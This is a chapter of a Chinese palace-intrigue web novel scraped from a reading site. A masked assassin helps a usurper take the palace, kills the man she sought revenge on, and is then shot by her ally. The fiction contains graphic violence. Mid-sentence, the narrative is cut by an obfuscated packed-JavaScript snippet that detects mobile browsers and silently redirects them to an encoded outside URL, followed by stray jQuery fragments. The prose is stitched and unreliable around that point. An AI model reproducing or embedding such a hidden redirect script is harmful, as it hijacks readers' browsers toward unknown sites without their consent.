默认冷灰
24号文字
方正启体

1. 造反

作者:石竹秀本书字数:K更新时间:
    文德五年,雨如瓢泼。


    造反碰到这样的天气,着实愁人。


    五年前文德帝登基,广罗天下美女,日日流连后宫,荒废朝政,太后气得病倒,百姓唉声载道,萧景澜打着清君侧名义举兵谋反。


    黑甲兵杀到皇城时,文德帝在内侍官掩护下从狗洞钻出,逃之夭夭,无影无踪。


    到底是堂兄弟萧景澜没有赶尽杀绝,独留在太和殿里的官员面面相觑,他们有些不明白……这废太子不是疯子吗?


    说起来萧景澜才是正统,十七年前隋远帝病逝,康王萧正阳趁机夺权,可怜的太子连皇位都没坐就被叔叔拉下马。


    他离帝王位一步之遥,年仅十一岁的太子受不了打击就这么疯了。


    萧正阳这帝位名不正言不顺,民间颇有微词,但康王却不在意。


    一朝天子一朝臣,原本的太子党也被逐一清算。


    然而,就在萧正阳打算对萧景澜动手时,他跑去与野狗抢食,且一次比一次疯甚至跳入茅厕丢屎玩,吓得宫人不敢靠近。


    如此惊世骇俗的行为,让流言很快传出去,坊间蜚语如杂草疯长。


    他们说,康王残暴无情,夺了侄子的帝位不说,居然还想杀人灭口。


    还有说,当年皇位就是传于康王,只不过是隋远帝连同纪家篡改圣旨,痛失皇位的康王怀恨于心,在隋远帝死后迫不及待发动兵变登上皇位……


    平头百姓家的浮言都让人走不动道,更何况是皇朝秘事,苏木探出半截脑袋,她想接着往下听,轻轻拍了拍官员的肩膀。


    ‘啊’的一声如同杀年猪,太和殿里的窸窸窣窣的蜚言如蒲公英一吹而散。


    急促的呼吸在静谧的殿内异常清晰,恐惧与不安不停蔓延,苏木也没预料这人反应会这么大。


    鬼脸面具下嘴唇一挑,慢悠悠站起来,跺跺发酸的脚,提着沾染血迹的唐横刀从柱子后走出来。


    红衣鬼面。


    这人他们见过。


    是萧景澜的先锋兵。


    苏木还未举刀,吏部尚书李茂费劲挤出畏缩人群,第一眼就瞧见滴血的袖口,这当是一路杀进来才会将袍子染成这般模样,紧紧咬着牙关,“乱臣贼子别以为带着面具就能遮住肮脏,萧景澜的走狗,你这刀刃上沾满忠良之血,这其中有多少是家中顶梁柱,多少是父母的心头肉,冷血的禽兽,猪狗不如!”


    鬼面具把她整张脸遮住,只露出眼睛,一只黑,一只白,漠然觑着他,语调冰冷,“只要能达成所愿,是猪是狗,谁在乎?”


    李茂拳头紧攥,指甲掐进肉里,鲜血顺着指缝渗出,他声音颤抖,却带着滔天恨意,“好,好一个冷血无情的猪狗,真以为你们赢了?我告诉你,这等恶行天下人会记住,你们的名字会永远钉在耻辱柱上。”


    “我叫什么?”


    “啊?”


    李茂一怔。


    他一时没反应过来,冷静下来才明白,她在询问自己她名讳。


    “知道如何,不知道又如何。”他声音低沉而缓慢,每个字都像是从牙缝里挤出来似的,带着压抑的怒意与轻蔑,“你的所作所为死后必然也会下十八层地狱,到时我会在那里等你。”


    “李大人你这个忠义老臣也会下十八层地狱?”


    李茂哽住。


    “自然是因为……是因为本官化作厉鬼,会诅咒你,诅咒萧景澜,永世不得超生,诅咒你们这群乱臣贼子,家破人亡,断子绝孙!”


    她指尖划过刀柄,似无意,举起刀,刀光映出那双异色眸子,声音淡淡,“各位今日估计做不成鬼,好好歇着吧。”


    苏木噙着笑,弯曲手臂擦拭掉刀刃上的血迹,挽花收刀一气呵成。


    这滔天恨意差点把她震慑住。


    萧景澜特地交代留他们有用,苏木不太了解,留这群老匹夫有何用,不过好盟友只负责干,不该问的不问。


    她主要目的也不是他们,面具下脸瞬间冷下来,走到门口守在殿门的黑甲兵让开一条路,殿前阶下乌压压立着一大片银甲兵,他们个个手握宽刀,紧盯着逐步逼近黑甲兵。


    苏木余光瞥向身旁,萧景澜歪靠椅背吃着葡萄,面色从容。


    不赶快杀干净,当菩萨供起来吗?


    察觉到苏木视线,悠然自得把葡萄塞进嘴里,不自觉垂下手环绕她的长发,动作极轻极柔。


    她睨着他,往旁挪了挪,萧景澜手一顿,带着恍惚的笑,摩挲着手指。


    苏木莫名记起方才官员的言论,在吃人不吐骨头的深宫里装疯卖傻十七年,不会是正常人。


    把人杀人当乐子看,享受控制和支配他们的快感,想想都觉得可怕。


    等杀了陆离和那老妖婆,她就归隐,若不是为复仇也不会与他结盟,萧景澜是暗处的狼,凶狠残暴,任意胡为。


    陆离究竟带着老妖婆藏在哪里呢,就差把整个天盛翻个底朝天了。


    想起他们,苏木眼眸阴沉,恨意如疯涨的藤蔓缠绕她。


    暴雨瓢泼,阶下磅礴雨幕中,银甲兵大喊,“装模作样的殂狗,我等虽死犹荣。”


    话音刚落,陡生变故。


    黑甲兵如鬼魅般冲入银甲兵的阵营,刀光剑影交错,鲜血如雨般喷洒。


    黑甲兵的长矛挥舞,带起一阵阵腥风,刀刃劈开银甲兵的铠甲,血肉横飞。


    他们不知疼痛,即便被砍断手臂,依旧勇往直前,疯狂地反击。


    鲜血染红盔甲,雨水和血水混在一起,踩上去黏稠而滑腻。


    萧景澜轻抬手,指尖轻轻一挥,黑甲兵停下动作,方才喊着虽死犹荣的士兵,纷纷倒在瘫倒在地,他们脚被砍掉,接着手被砍掉,舌头被拔出割掉,像是蛆虫在不停中蠕动,血水浸透他们的盔甲,惨叫渐渐微弱,逐渐只剩下断断续续的呻吟。


    苏木缓过神,大为震惊,“萧景澜,成王败寇,一刀了断就是,何必这样。”


    她一直都知萧景澜是个疯子,但疯成这样见所未见,本以为他要当菩萨,想规劝他都杀了,如今看是她过于保守,她不免染上两分愁,萧成何不是好皇帝,萧景澜必然也不是。


    “瑛瑛……”


    萧景澜喃喃唤着她的名字,声音轻柔,像春风拂过耳畔,抬手轻轻抓住她手腕,抚过露在外面的半截疤痕,动作细致而怜惜。


    “瞧瞧你这疤……”缓缓抬眸盯着她的眼睛,话锋一转,轻轻道,“瑛瑛,你眼睛可真好看。”


    苏木一怔,十多年不曾有人这么叫过她了,混乱不堪的脑子彻底清醒过来,她是为复仇才与萧景澜狼狈为奸,又不是第一天认识,何必惺惺作态,倒是显得矫情。


    冬天不会因人怕冷就消失,地不会因人怕远而不广袤,同理萧景澜也不因她三言两语而变得心慈手软。


    刀就要有刀的自觉。


    想通之后,她反扣住萧景澜的手,低眸看向他,郑重其事拍了拍他的手背,“我知晓,无需多言。”


    他看着她不吭声,阴森目色透着乖戾,半晌勾勾唇角,凑近点道,“你懂?”


    苏木清楚感受到萧景澜的手由坦然自若变得战战兢兢,且越发严重,这怕不是……得了不治之症。


    萧景澜何时有了这毛病。


    苏木疑惑同时又带上几分同情,她铿锵有力回道,“自然。”


    萧景澜轻轻握住她的手,指腹轻轻揉着她那修长的手指,感受着指尖的余温,他没想到苏木会如此直白,倒是弄得他有些措手不及。


    在朦朦胧胧雨里有链条声入耳,苏木凝神看去,半死不活的青袍男子被黑甲兵像牵狗似的拽到阶下。


    此人正是她心心念念的陆离,看清模样后惊得收回手向前半步。


    往日养尊处优的身躯,因酷刑遍体鳞伤,曾经干净整齐的青袍凝满血污。


    萧景澜目光在苏木抽回手的瞬间微微一沉,顺着她目光抬眸看去,眼底绕了一层杀意,缓缓收回垂下的手,优雅而从容摘下颗葡萄递给苏木,她没接只是愣愣望着阶下之人,沉默片刻,忽地嗤一声,两指微微用力,葡萄被他捏碎,粘腻的汁水沾他一手,似笑非笑道,“你可知在哪儿找到他?”


    苏木没有回答,来时她曾在世子府找一圈,人去楼空,连鬼影都不曾见到。


    萧景澜白玉般的面容叫人觉得阴恻恻,说出来的话却云淡风轻,“在玄台湖,磅礴雨天竟在湖上泛舟煮茶。”


    他拿帕子擦了擦湿答答手指,掀开眼皮,余光落在身侧,调笑道,“人给你找到了,要杀要剐随你,不过……听说陆世子文武双全,苏姑娘也是武艺超群,何不比试一番。”


    苏木蹙眉,不禁疑惑,陆离在这儿,那老妖婆藏在何处?


    此念头刚出,就听见萧景澜冰凉凉的声音,呲溜一下,猝不及防钻进耳里,不免头疼,“萧景澜……”


    萧景澜笑容骤然消散干净,冷着脸把玩着帕子,绕着手指缠了一圈又一圈,抬眸看向苏木时又换上副漫不经心,他道,“大局已定,夜长梦多这种话不要再说,婉婉,你知道的,我从来没输过……”


    他点漆的眸子锁着她,半靠着椅子,帕子轻轻往她身上一丢,“不愿意也没事,我这人不喜欢强迫别人。”


    苏木只觉得这人不是一般疯癫。


    她无奈回道,“行,你说什么就是什么。”


    阴一阵,晴一阵,她跟疯子计较什么,杀了陆离后,还有不知所踪的张玥瑛,速战速决,省得夜长梦多,不要仇没报,把自己搭进去。


    不过……陆离会武倒是在她意料之外,平日里文文弱弱,走一步喘三喘,倒是比戏台上的戏子更会演。


    “既然是比试自然得有赌注。”萧景澜慢慢道,“不如就赌殿内百官性命。”


    他话落下百官被押解至廊下。


    “陆世子……”


    脖颈长剑冰冷,百官心头巨震,一时竟不知如何往下讲,光风霁月的陆世子怎会成这般模样。


    陆离睫毛颤了下,余光瞥过去,“你们……”


    话未说完,隐约瞧见廊下有道红色倩影缓步而下,她越过黑甲兵拔刀逼近。


    陆离微怔,神色莫测,“你是谁?”


    她一袭红色袍子,浑身湿透,血混着雨水滴落,颇有两分故人的味道,与她不同的是这人眼睛一黑一白且左手持刀。


    在他沉静而偏执的目光里,黑甲兵上前解开他链条,抽出佩剑塞进他手里。


    苏木握刀的手微微发颤,想到所遭受一切,呼吸沉入胸腔,克制不住情绪,刀光闪闪,直刺陆离命门。


    陆离仓惶躲开,深邃的眸子沉甸甸看向廊下,宛若惊弓之鸟的文武百官,他们命此刻握在自己手里,手中剑霎时重有千斤,差点拿不稳。


    苏木见陆离走神攻势加快,她杀意凌厉,横刀狠厉无比,带着势不可挡凶戾仇恨。


    陆离神色一凛,紧握剑柄的指骨泛白。


    这人每一招每一式都奔着他命门而去,若是再这么下去,他们都得死。


    两道兵刃光在雨中交相辉映,只不过瞬息间,陆离慢慢占据上风,道道剑风袭向苏木方向。


    红衣姑娘节节败退,周身杀意不减反增。


    萧景澜重新坐好,他摘颗葡萄塞进嘴里,眼睑微垂,凝视着手腕内侧那道淡淡疤痕。


    把左手练成这样,苏木吃得苦他看在眼里,若是三年前的你,又怎会节节失利。


    所以……即便是这样,也不肯下死手吗?


    是知道他会武功惊诧到拿不动刀,亦或是余情未了。


    真该死啊。


    他视线看向雨中,盯着那两道缠斗人影,拿过侍卫手中弓箭,自箭篓抽出一根沉甸甸的铁箭,不疾不徐拉弓搭箭,弓尾散出细微白雾,撞在他脸侧,铁箭划破雨幕,混战中的苏木察觉不对,慌忙往一侧轻跃躲过,前有狼后有虎,饶是她反应迅速,也不免让陆离占个便宜被他划伤肩甲。


    苏木拉开距离,盯着脚前的箭矢,再看向高台上笑靥如花的萧景澜瞬间气血上涌,“萧景澜吃饱撑的,没事朝我射箭干嘛。”


    他慢慢放下手里的弓箭,微微一笑,“好好比,别偷懒,继续吧。”


    苏木气得差点喷出口老血,此刻也顾不上与他斗嘴,转瞬即逝间陆离的剑已朝她袭来,逼得她不得不打起十二分精神。


    萧景澜看向正色的苏木,嘴角慢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433258|169268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢上扬,干脆脱掉靴子,整个人窝靠在圈椅内,饶有兴致瞧着。


    他射出那箭后,苏木上心不少。


    这才对嘛。


    遥记她来投靠时满身血,那张清秀小脸被烧伤,眼睛也瞎一只,看起来活不久,事实也确实如此若不是命硬早驾鹤归去。


    应该牢牢记住这个教训,要不然就是活该。


    此时交锋已入尾声,意料之外的是刚刚处于上风的陆离伤上加伤。


    与陆离养尊处优不同,苏木到底是混迹江湖的杀手,是从厮杀里闯出路来的狠人,是个亲手剁下无名指连眼睛都不眨的毒辣之辈,即便是左手也不是陆离可比的。


    只要能伤敌一千,就算自损八百也要做到,苏木断不可能手下留情。


    萧景澜低哼着轻快旋律,轻轻拍着着大腿,望向远处朦胧树影,风雨扫落摇摇欲坠的枯叶。


    疾光剑影间,阶下传来落地的闷响,终于陆离重伤倒地。


    苏木紧捂着肩膀,血逐渐溢出指缝染红手衣,红靴淌过血水踩着他的胸口。


    陆离比她伤的更重,血不受控制从他口鼻涌出流入耳中,他双目涣散,鬼面具慢慢模糊,恍惚间他看见一张熟悉的脸,一样穿着红衣,一样用着唐横刀。


    他气若游丝道,“苏木……”


    苏木收脚,斜睨着他,轻呵一声。


    陆离意识略微清醒,他握住手旁长剑。


    她挑起眉,歪着头,不疾不徐摘下面具。


    露出一张烧伤的脸。


    左脸被大火烧过,所以左眼是白色,没丝毫光彩,眉毛只有零星几根,但右脸清秀好看,鼻尖那颗小黑痣让他一眼认出眼前之人。


    细密雨珠落在他脸上,嗫嚅说不出半句,这张残颜让他心怀愧疚,更不敢抬眼看,手突然被覆住,温热的呼吸打在他耳廓,“你刚刚是在唤我吗?”


    耳边传来她声音以及自己强劲有力的心跳。


    他扬了扬唇,猝不及防喉头处传来凉风,鲜红的血从喉咙喷出,锥心刺骨。


    刀刃滴着血融入雨中,苏木漠然看着,见他薄唇张张合合,寂静无声。


    她神色讷讷,说不来什么感觉,只觉得空落落,还有点麻木……大仇得报的喜悦并未缠上心头。


    陆离望着她,见她神情由漠然转为空洞。


    脖颈被切开后冷风不断灌入,疼痛让他面容扭曲,不复君子形象,他用尽力气摁住割开的喉咙,勉强发出一点声音。


    他说,跑。


    她思绪有些飘,不知是不是听错,再往下看去他已没了生息。


    苏木无声叹息。


    他与她究竟是如何走到不死不休地步,或许只是她单方面……毕竟陆离从不在意,在外人眼里她是个痴迷于陆世子无法自拔的江湖粗人。


    但只有她清楚,她只是个靠装疯卖傻留在陆离身旁,企图接近太后为家人报仇的疯狗。


    前前后后刺杀三次均以失败告终,不仅如此,陆离还派红甲兵日夜守在太后寝宫,真做到连只苍蝇都飞不进去。


    苏木不是坐以待毙的性子,她甚至用上巫蛊之术,盼着这些小玩意儿真有用,闲来无事也去拜菩萨,天理昭昭,报应不爽,来一道雷劈死她。


    太后报应她没看见,她报复先一步来了,不知道是不是她在菩萨面前口出恶言被有心人听着了,隶属于江陵王府的红甲精锐兵围剿她。


    苏木本以为张玥瑛发现自己真实身份才会赶尽杀绝,却没想到竟是陆离授意,只因他怀疑自己对他心上人下毒,害她昏迷不醒。


    那领头士兵原话是——妖女苏木心肠歹毒剜眼下毒无恶不作,奉陆世子之命取妖女性命,若能取其首级赏黄金千两,封万户侯。


    她当时静静站在红甲兵中间,望着他们虎视眈眈的眼神,双拳难敌四手,看着刀的豁口,没有无知与恐惧,只有无奈和惋惜。


    一个人面对一群人,打得过所有人,却打不完所有人。


    人力终有穷之时,那时候她才明白江湖和战场的区别,在黄金万两和军功面前,她的抵抗不过是螳臂挡车,不自量力。


    看着源源不断的身穿红甲胄手拿陆家刀的士兵,她像只夹着尾巴的狗,慌不择路逃入竹林,官兵没追来,以为是逃出生天,没料到他们火烧竹林。


    疾风骤雨般的箭划破长空射瞎她一只眼,在熊熊大火里,她痛得缩成一团。


    浓烟滚滚竹林弥漫着窒息的刺鼻味儿。


    她当时以为自己要死了。


    背上忽地一凉,暴雨倾盆,整个火竹林被磅礴的雨幕笼罩。


    还好那时正是多雨时节,密密麻麻的雨落在她后背,连成珠的雨像提木偶的线,硬生生把她拽起来。


    她紧紧咬着牙关,目眦欲裂,发誓此番能活着出去,定要把陆离与张玥瑛千刀万剐,也凭着这口气冲出火海与萧景澜一起走上反贼这条万人唾骂的康庄大道。


    她活不了千年万年,也不打算做王侯将相,不需要身前身后名,天塌下来有萧景澜顶着,后世之人骂不到她这把刀身上。


    只不过造反谋逆的污点怕是要让人津津乐道好一阵子。


    十七年前康王造反到现在仍旧流言不休,萧景澜怕是要流芳百世。


    苏木想到这儿,也不再麻木,左右不过是因那场偶遇,心思飘忽些无可厚非。


    这小小悸动与复仇比起来不值一提。


    陆离解决了,轮到张玥瑛了。


    让她猜猜这个老妖妇到底躲在哪里?


    磅礴大雨久久未停,除了雨声就是风声,苏木静立在雨中,神情微变,逐渐脸变得极为难看。


    太静了。


    蓦然回首模糊的雨幕里传来“笃笃”两声,利箭如电,瞬息即至,当苏木反应过来时只感觉胸口骤疼,不敢置信低下头,看着贯穿左胸的黑羽箭,这方向是萧景澜……


    她直挺挺倒下去,面颊贴着冰冷的青石砖,血不断从她口中溢出,胸口疼,疼到没了清晰感觉,长箭刺破心脏神仙也救不了,视线渐渐迷离。


    血不断从伤口涌出,在气息消散前,有人慌张抬走陆离,最后念头是……她应该把陆离头砍下来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)